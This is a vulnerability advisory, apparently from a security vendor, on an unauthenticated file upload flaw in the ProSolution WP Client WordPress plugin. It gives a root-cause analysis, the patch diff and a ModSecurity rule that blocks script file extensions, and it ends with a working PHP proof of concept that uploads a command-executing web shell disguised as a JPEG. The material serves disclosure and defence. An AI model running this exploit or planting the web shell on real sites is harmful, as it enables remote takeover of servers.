Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-2942: ProSolution WP Client <= 1.9.9 – Unauthenticated Arbitrary File Upload via proSol_fileUploadProcess (prosolution-wp-client)

CVE ID CVE-2026-2942
Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 1.9.9
Patched Version 2.0.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2942:
The ProSolution WP Client plugin for WordPress contains an unauthenticated arbitrary file upload vulnerability in versions up to and including 1.9.9. The vulnerability exists in the ‘proSol_fileUploadProcess’ function, which handles file uploads without proper validation. This flaw allows attackers to upload malicious files to the server, potentially leading to remote code execution. The CVSS score of 9.8 reflects the critical severity of this issue.

Atomic Edge research identified the root cause as insufficient file type validation in the ‘proSol_fileUploadProcess’ function within the file ‘prosolution-wp-client/public/class-prosolwpclient-public.php’. The vulnerable code (lines 995-1040) relied on the ‘proSol_mimeExt()’ function to determine file extensions from client-supplied MIME types. This function returned extensions based on a broad mapping that included dangerous file types like PHP. The code then checked if the extension existed in either ‘proSol_imageExtArr()’ or ‘proSol_documentExtArr()’ arrays, but these arrays contained permissive entries. The validation failed to verify the actual file content or perform server-side MIME type checking.

Exploitation occurs via a POST request to the WordPress AJAX endpoint ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘proSol_fileUploadProcess. Attackers send a multipart/form-data request containing a file upload in the ‘files’ parameter. The payload is any malicious file with a dangerous extension (e.g., .php, .phtml) that the ‘proSol_mimeExt()’ function maps to an allowed MIME type. Since no authentication checks exist in the function, unauthenticated attackers can directly trigger the upload handler.

The patch in version 2.0.0 implements comprehensive file validation. It replaces the reliance on ‘proSol_mimeExt()’ with multiple verification layers. The code now extracts the file extension using ‘pathinfo()’, validates it against a strict whitelist (‘jpg’, ‘jpeg’, ‘png’, ‘gif’, ‘webp’, ‘pdf’, ‘doc’, ‘docx’), and performs server-side MIME type detection using ‘finfo()’. The patch also validates file content with ‘wp_check_filetype()’, checks MIME type against extension using a hardcoded mapping, and verifies image dimensions for image files. Additional security measures include sanitizing filenames with ‘sanitize_file_name()’ and verifying uploaded files with ‘is_uploaded_file()’.

Successful exploitation allows attackers to upload arbitrary files, including PHP shells, to the WordPress server. This directly enables remote code execution with the web server’s privileges. Attackers can achieve complete system compromise, install backdoors, deface websites, exfiltrate data, or pivot to internal networks. The unauthenticated nature of the vulnerability significantly lowers the attack barrier, making it exploitable by any remote attacker without prior access to the target system.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/prosolution-wp-client/prosolwpclient.php
+++ b/prosolution-wp-client/prosolwpclient.php
@@ -16,7 +16,7 @@
      * Plugin Name:       ProSolution WP Client
      * Plugin URI:        https://prosolution.com/produkte-und-services/workexpert.html
      * Description:       WordPress client for ProSolution
-     * Version:           1.9.9
+     * Version:           2.0.0
      * Author:            ProSolution
      * Author URI:        https://www.prosolution.com
      * License:           GPL-2.0+
@@ -41,7 +41,7 @@


     defined('PROSOLWPCLIENT_PLUGIN_NAME') or define('PROSOLWPCLIENT_PLUGIN_NAME', 'prosolwpclient');
-    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '1.9.9');
+    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.0');
     defined('PROSOLWPCLIENT_BASE_NAME') or define('PROSOLWPCLIENT_BASE_NAME', plugin_basename(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_PATH') or define('PROSOLWPCLIENT_ROOT_PATH', plugin_dir_path(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_URL') or define('PROSOLWPCLIENT_ROOT_URL', plugin_dir_url(__FILE__));
--- a/prosolution-wp-client/public/class-prosolwpclient-public.php
+++ b/prosolution-wp-client/public/class-prosolwpclient-public.php
@@ -995,43 +995,117 @@

 			//if the upload dir for prosolwpclient is not created then then create it
 			$dir_info = $this->proSol_checkUploadDir();
-			$submit_data  = $_FILES["files"];
-			$mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';
-			$ext = proSol_mimeExt($mime_type);
+			$submit_data  = $_FILES["files"] ?? null;
+
+			//this is for if someone somehow able to run this function without file
+			if ( ! $submit_data ) {
+				die(__("No file uploaded", "prosolwpclient"));
+			}
+
+			// get file name and temp file location and sanitize them
+			$org_filename = isset( $submit_data['name'][0] ) ? sanitize_file_name( $submit_data['name'][0] ) : '';
+			$tmp_fileloc = isset( $submit_data['tmp_name'][0] ) ? $submit_data['tmp_name'][0] : '';
+
+			// if file name or location empty, process must be aborted
+			if ( empty( $org_filename ) || empty( $tmp_fileloc ) || ! is_uploaded_file( $tmp_fileloc ) ) {
+				die(__("Invalid file", "prosolwpclient"));
+			}
+			//check file extension for uploaded "up" file
+    		$up_fileext = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );
+
+			//since most of cv or profile picture are typically using this format, we should whitelist these extension only.
+			//do not use proSol_mimeExt function, it allow all kind of extension including big nono one like php or other programming language.
+			$whitelist_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx' );
+
+			//check extension first
+			if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {
+				die(__("File type not allowed", "prosolwpclient"));
+			}
+
+			//check for REAL mime type, $submit_data['type'] only check for surface-level.
+			$finfoObj = new finfo( FILEINFO_MIME_TYPE );
+			$true_mmime = $finfoObj->file( $tmp_fileloc );
+
+			//syntax below is big nono, don't use it to check mime!!!
+			//$mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';
+			//again do not use prosol_mimeext, they will allow script or programming language
+			//$ext = proSol_mimeExt($mime_type);
+
+			$wp_mime_chk = wp_check_filetype( $org_filename );
+			if ( $wp_mime_chk['type'] == false ) {
+				die(__("File type is not allowed.", "prosolwpclient"));
+			}
+
+			//only listed mimes type are allow
+			$whitelist_mimes = array(
+				'jpg'  => 'image/jpeg',
+				'jpeg' => 'image/jpeg',
+				'png'  => 'image/png',
+				'gif'  => 'image/gif',
+				'webp' => 'image/webp',
+				'pdf'  => 'application/pdf',
+				'doc'  => 'application/msword',
+				'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+			);
+
+			//check for real hidden mimes type
+			if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mmime !== $whitelist_mimes[ $up_fileext ] ) {
+				die(__("File content does not match its extension", "prosolwpclient"));
+			}
+
+			if ( in_array( $up_fileext, array( 'jpg', 'jpeg', 'png', 'gif', 'webp' ), true ) ) {
+				//for image upload we can also verified image via dimension size like height and width, fake image file will be false result
+				$img_dimension = @getimagesize( $tmp_fileloc );
+				if ( $img_dimension === false ) {
+					die(__("Invalid image dimension", "prosolwpclient"));
+				}
+			}

-			if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {
-				if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {
-					$options = array(
-						'script_url'     => admin_url( 'admin-ajax.php' ),
-						'upload_dir'     => $dir_info['prosol_base_dir'],
-						'upload_url'     => $dir_info['prosol_base_url'],
-						'print_response' => false,
-					);
-
-					$upload_handler = new CBXProSolWpClient_UploadHandler( $options );
-
-					$response_obj = $upload_handler->response['files'][0];
-					if ( $response_obj->name != '' ) {
-						if ( ! session_id() ) {
-							session_start();
-						}
-
-						$attached_file_name = $response_obj->name;
-
-						$extension = pathinfo( $attached_file_name, PATHINFO_EXTENSION );
-
-						$newfilename                 = wp_create_nonce( session_id() . time() ) . '.' . $extension;
-						$rename_status               = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );
-						$response_obj->newfilename   = $newfilename;
-						$response_obj->rename_status = $rename_status;
-						$response_obj->extension     = $extension;
-
-						$return_response = array( 'files' => array( 0 => $response_obj ) );
-						echo json_encode( $return_response );
-						wp_die();
+			if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {
+				$options = array(
+					'script_url'     => admin_url( 'admin-ajax.php' ),
+					'upload_dir'     => $dir_info['prosol_base_dir'],
+					'upload_url'     => $dir_info['prosol_base_url'],
+					'print_response' => false,
+				);
+
+				$upload_handler = new CBXProSolWpClient_UploadHandler( $options );
+
+				$response_obj = $upload_handler->response['files'][0];
+
+				//change $response_obj->name != '' to !empty( $response_obj->name )
+				if ( ! empty( $response_obj->name ) ) {
+					if ( ! session_id() ) {
+						session_start();
 					}
+
+					$attached_file_name = $response_obj->name;
+
+					//check final result extension, and make it universal lowercase
+					$fin_ext = strtolower( pathinfo( $attached_file_name, PATHINFO_EXTENSION ) );
+
+					//check it one last time on the result
+					if ( ! in_array( $fin_ext, $whitelist_ext, true ) ) {
+						die(__("File type mismatch after upload", "prosolwpclient"));
+					}
+
+					$newfilename                 = wp_create_nonce( session_id() . time() ) . '.' . $fin_ext;
+					$rename_status               = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );
+					$response_obj->newfilename   = $newfilename;
+					$response_obj->rename_status = $rename_status;
+					$response_obj->extension     = $fin_ext;
+
+					$return_response = array( 'files' => array( 0 => $response_obj ) );
+					//success return
+					echo json_encode( $return_response );
+					wp_die();
 				}
 			}
+
+			//default return
+			wp_send_json_error( array( 'error' => 'Upload failed' ) );
+			wp_die();
+
 		}

 		/**

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2942
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262942,phase:2,deny,status:403,chain,msg:'CVE-2026-2942 via ProSolution WP Client AJAX file upload',severity:'CRITICAL',tag:'CVE-2026-2942',tag:'WordPress',tag:'Plugin',tag:'ProSolution-WP-Client',tag:'Unauthenticated',tag:'File-Upload'"
  SecRule ARGS_POST:action "@streq proSol_fileUploadProcess" "chain"
    SecRule FILES:files "@rx .(php|phtml|php3|php4|php5|php7|phar|inc|pl|py|jsp|asp|aspx|sh|bash|cmd|bat|exe|dll|so|jar|war|ear|rb|ps1|psm1|psd1).?$" 
      "t:lowercase,t:normalizePathWin,t:normalizePath,t:removeNulls,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2942 - ProSolution WP Client <= 1.9.9 - Unauthenticated Arbitrary File Upload via proSol_fileUploadProcess

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php"; // Change to target URL

// Create a temporary PHP shell file
$shell_content = '<?php echo "Vulnerable to CVE-2026-2942"; if(isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]); } ?>';
$temp_file = tempnam(sys_get_temp_dir(), 'cve_');
file_put_contents($temp_file, $shell_content);

// Prepare the multipart form data
$post_fields = [
    'action' => 'proSol_fileUploadProcess',
    'files[0]' => new CURLFile($temp_file, 'image/jpeg', 'shell.php') // Client sends image/jpeg MIME type
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Clean up temporary file
unlink($temp_file);

// Output results
if ($http_code == 200 && strpos($response, '"newfilename"') !== false) {
    echo "[+] Exploit successful!n";
    echo "Response: " . $response . "n";
    
    // Parse JSON response to extract uploaded filename
    $json_response = json_decode($response, true);
    if ($json_response && isset($json_response['files'][0]['newfilename'])) {
        $uploaded_file = $json_response['files'][0]['newfilename'];
        $upload_url = str_replace('/wp-admin/admin-ajax.php', '/wp-content/uploads/prosolwpclient/', $target_url) . $uploaded_file;
        echo "[+] Shell uploaded to: " . $upload_url . "n";
        echo "[+] Test with: " . $upload_url . "?cmd=idn";
    }
} else {
    echo "[-] Exploit failed. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School